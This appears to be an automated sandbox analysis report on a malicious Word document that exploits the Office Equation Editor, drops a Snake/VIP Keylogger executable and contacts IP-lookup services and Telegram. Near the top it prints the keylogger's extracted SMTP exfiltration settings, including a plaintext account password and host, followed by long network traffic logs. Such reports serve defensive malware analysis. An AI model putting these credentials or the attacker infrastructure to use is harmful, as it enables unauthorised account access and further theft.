Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1308792

Found malware configuration

Source: 00000008.00000002.913786371.0000000002351000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}
Source: 5.2.vvndewepeter91026.exe.3722a30.6.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "peterlog@gtpv.online", "Password": "7213575aceACE@@ ", "Host": "hosting2.ro.hostsailor.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: Payment Slip.doc

ReversingLabs: Detection: 44%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\LLnsOpxxAnmWi[1].exe	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 66.63.187.123 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49177 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 002392F9h	8_2_0023903A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 002373EDh	8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00237D77h	8_2_00237200
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 002398BBh	8_2_002394A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_00236728
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_00236D5A
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_00236F39
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 002398BBh	8_2_002397EA
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00606349h	8_2_00606078
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00608A42h	8_2_00608748
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00602339h	8_2_00602068
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00609D62h	8_2_00609A68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060F372h	8_2_0060F078
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00600311h	8_2_00600040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00607111h	8_2_00606E40
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00604321h	8_2_00604050
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060B54Ah	8_2_0060B250
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060E51Ah	8_2_0060E220
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00603101h	8_2_00602E30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060CD32h	8_2_0060CA38
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006010D9h	8_2_00600E08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00607ED9h	8_2_00607C08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060FD02h	8_2_0060FA08
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00608F0Ah	8_2_00608C10
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006050E9h	8_2_00604E18
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006047B9h	8_2_006044E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060E9E2h	8_2_0060E6E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060ABBAh	8_2_0060A8C0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00603599h	8_2_006032C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006007A9h	8_2_006004D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006075A9h	8_2_006072D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006093D2h	8_2_006090D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00601571h	8_2_006012A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00608412h	8_2_006080A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060C3A2h	8_2_0060C0A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00605581h	8_2_006052B0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060DB8Ah	8_2_0060D890
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00603A31h	8_2_00603760
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00600C41h	8_2_00600970
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00607A41h	8_2_00607770
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060C86Ah	8_2_0060C570
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060F83Ah	8_2_0060F540
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00605A19h	8_2_00605748
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060E052h	8_2_0060DD58
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060A22Ah	8_2_00609F30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00601A09h	8_2_00601738
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006027D1h	8_2_00602500
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060D1FAh	8_2_0060CF00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 006067E1h	8_2_00606510
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060BA12h	8_2_0060B718
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00605EB1h	8_2_00605BE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060BEDAh	8_2_0060BBE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00603EA1h	8_2_00603BF8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060A6F2h	8_2_0060A3F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060D6C2h	8_2_0060D3C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00601EA1h	8_2_00601BD0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060989Ah	8_2_006095A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00606C7Ah	8_2_006069A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060EEAAh	8_2_0060EBB0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00604C51h	8_2_00604980
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 0060B082h	8_2_0060AD88
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00602C69h	8_2_00602998
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C1165Ah	8_2_00C11360
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C137D2h	8_2_00C134D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C11FEAh	8_2_00C11CF0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C1297Bh	8_2_00C12680
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C11192h	8_2_00C10E98
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C1033Ah	8_2_00C10040
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C14162h	8_2_00C13E68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C1330Ah	8_2_00C13010
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C11B22h	8_2_00C11828
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C10CCAh	8_2_00C109D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C13C9Ah	8_2_00C139A0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C124B2h	8_2_00C121B8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C12E42h	8_2_00C12B48
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C10802h	8_2_00C10508
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3B169h	8_2_00C3AEC0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C33771h	8_2_00C334C8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3CB7Bh	8_2_00C3C8D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C35181h	8_2_00C34ED8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3E7B1h	8_2_00C3E4E0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C36B91h	8_2_00C368E8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C385A1h	8_2_00C382F8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C34D29h	8_2_00C34A80
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3E1C5h	8_2_00C3DE88
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C36739h	8_2_00C36490
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C38149h	8_2_00C37EA0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3F579h	8_2_00C3F2A8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C39B59h	8_2_00C398B0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C37CF1h	8_2_00C37A48
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C39701h	8_2_00C39458
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3AD11h	8_2_00C3AA68
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C33319h	8_2_00C33070
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3C721h	8_2_00C3C478
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C392A9h	8_2_00C39000
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3F0E1h	8_2_00C3EE10
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3C2C9h	8_2_00C3C020
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C348D1h	8_2_00C34628
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3DCD9h	8_2_00C3DA30
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C362E1h	8_2_00C36038
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3BE71h	8_2_00C3BBC8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C34479h	8_2_00C341D0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3D881h	8_2_00C3D5D8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C35E89h	8_2_00C35BE0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C37899h	8_2_00C375F0
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3D429h	8_2_00C3D180
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C35A31h	8_2_00C35788
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C37441h	8_2_00C37198
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C38E51h	8_2_00C38BA8
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C36FE9h	8_2_00C36D40
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3FA11h	8_2_00C3F740
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C389F9h	8_2_00C38750
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3BA19h	8_2_00C3B770
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3EC49h	8_2_00C3E978
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C34021h	8_2_00C33D78
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3B5C1h	8_2_00C3B318
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C33BC9h	8_2_00C33920
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C3CFD1h	8_2_00C3CD28
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then jmp 00C355D9h	8_2_00C35330
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00D62AFC
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00D62B00
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00D65F31
Source: C:\Users\user\AppData\Roaming\vvndewepeter91026.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00D65F38

Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 149.154.167.220:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
